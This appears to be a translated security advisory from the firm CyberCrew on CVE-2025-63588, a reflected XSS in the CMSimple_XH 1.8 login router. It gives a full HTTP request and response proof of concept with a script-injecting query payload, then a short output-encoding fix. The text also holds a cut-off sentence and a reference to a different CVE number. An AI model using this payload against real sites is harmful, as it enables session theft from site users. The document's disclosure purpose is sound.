cybercrewinc/cve-2025-63588
Оценка CVSS v3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N → 6.1 (Средний)
Присвоенный CVE: CVE-2025-63588
Продукты: CMSimple_XH - 1.8
Поставщик: CMSimple_XH - https://www.cmsimple-xh.org/
В коде фронт-роутера CMSimple_XH, обрабатывающего динамические входные данные, связанные с авторизацией, существует уязвимость отражённого межсайтового скриптинга (XSS). Приложение отражает контролируемые атакующим данные, взятые из URI запроса, непосредственно в генерируемый HTML (например, в атрибут action форм и атрибуты href ссылок) без надлежащего кодирования вывода. Атакующий может создать URL, при переходе по которому жертвой в её браузере в контексте уязвимого сайта будет выполнен произвольный JavaScript.
Это отражённый XSS (непостоянный); для эксплуатации требуется, чтобы жертва перешла по специально созданной ссылке. Поставщик был уведомлён, проблема задокументирована, и ей присвоен указанный выше CVE.
HttpOnly, токены сессии могут быть похищены.Уязвимость берёт начало в коде фронт-роутера / index.php (или эквивалентного фронт-контроллера), который разбирает динамические сегменты пути и сопоставляет их с переменными страницы/шаблона. Необработанные фрагменты пути (фрагменты вида ?Templates..., используемые роутером CMSimple_XH) передаются в шаблоны страниц и внедряются в HTML-атрибуты без надлежащего кодирования или очистки HTML-атрибутов, что позволяет внедрённым тегам <script> или другим полезным нагрузкам отображаться как есть. Аналогичные проблемы отражённого XSS публиковались и для других веб-компонентов; как правило, они вызваны некорректным кодированием вывода недоверенных входных данных.
Этот PoC демонстрирует отражение переданных атакующим данных в возвращаемом HTML, которое приведёт к выполнению кода в браузере жертвы.
Запрос:
POST /cmsimplexh/?Templatesx6l81"><script>alert(1)</script>y92q9 HTTP/1.1
Host: 192.168.98.129:8080
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Origin: http://192.168.98.129:8080
Upgrade-Insecure-Requests: 1
Referer: http://192.168.98.129:8080/cmsimplexh/?Templates&login
Content-Type: application/x-www-form-urlencoded
Sec-CH-UA: "Chromium";v="138", "Not;A=Brand";v="24", "Google Chrome";v="138"
Sec-CH-UA-Platform: "Windows"
Sec-CH-UA-Mobile: ?0
Content-Length: 45
login=true&keycut=z9U%21q2k%21F0&submit=Login
Ответ:
HTTP/1.1 200 OK
Host: 192.168.98.129:8080
Date: Mon, 06 Oct 2025 02:50:49 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: XH_2f636d73696d706c6578682f=v7hkld81biddtmoua1maptd18a; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Language: en
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8">
<title>English Site Title – Login</title>
<meta name="robots" content="noindex">
<meta name="keywords" content="Enter list of comma separated keywords here">
<meta name="description" content="Enter website description for search engine results here">
<link rel="stylesheet" href="./assets/css/xhstyles.css" type="text/css">
<link rel="stylesheet" href="./templates/fhs-simple-2019/stylesheet.css" type="text/css">
<meta name="robots" content="noindex">
</head>
<body class="xh_login" onload="document.forms['login'].elements['keycut'].focus();">
<div class="xh_login"><h1>Login</h1><p class="xh_fail">You have entered a wrong password!</p><p><b>Site administration. Please enter password.</b></p><form id="login" name="login" action="/cmsimplexh/?Templatesx6l81"><script>alert(1)</script>y92q9" method="post"><input type="hidden" name="login" value="true"><input type="password" name="keycut" id="passwd" value=""> <input type="submit" name="submit" id="submit" value="Login"></form><p><a href="/cmsimplexh/?Templatesx6l81"><script>alert(1)</script>y92q9">Back</a></p> </div></body>
</html>
Когда браузер жертвы отрисовывает эту страницу, внедрённый <script>alert(1)</script> выполняется.
$action_url = '/cmsimplexh/?' . rawurlencode($template_token);
echo '<form action="' . htmlspecialchars($action_url, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') . '" method="post">';
https://github.com/cmsimple-xh/cmsimple-xh/releases https://nvd.nist.gov/vuln/detail/CVE-2025-24576
Если у вас есть вопросы или предложения, пожалуйста, не стесняйтесь обращаться к нам.
📞 Тел.: 03-6853-5823
📧 Почта：[email protected]
| Пункт | Содержание |
|---|---|
| Название компании | 株式会社CyberCrew |
| Адрес | Токио, район Тиёда, Сотоканда 1-18-13, здание Akihabara Dai Building, 6-й этаж |
Всесторонне анализируем уязвимости организации и предлагаем оптимальные меры по их устранению.
Выполняем целевые, сценарные, а также LLM-пентесты.
Раннее выявление утечек конфиденциальной информации и оперативное реагирование.
Проводим оценку защищённости на основе практических сценариев атак.
Помогаем проектировать системы с учётом требований безопасности, начиная с ранних стадий разработки.
🌐 Официальный сайт：https://www.cybercrew.co.jp
🕒 CyberCrew — ваш надёжный партнёр в области безопасности.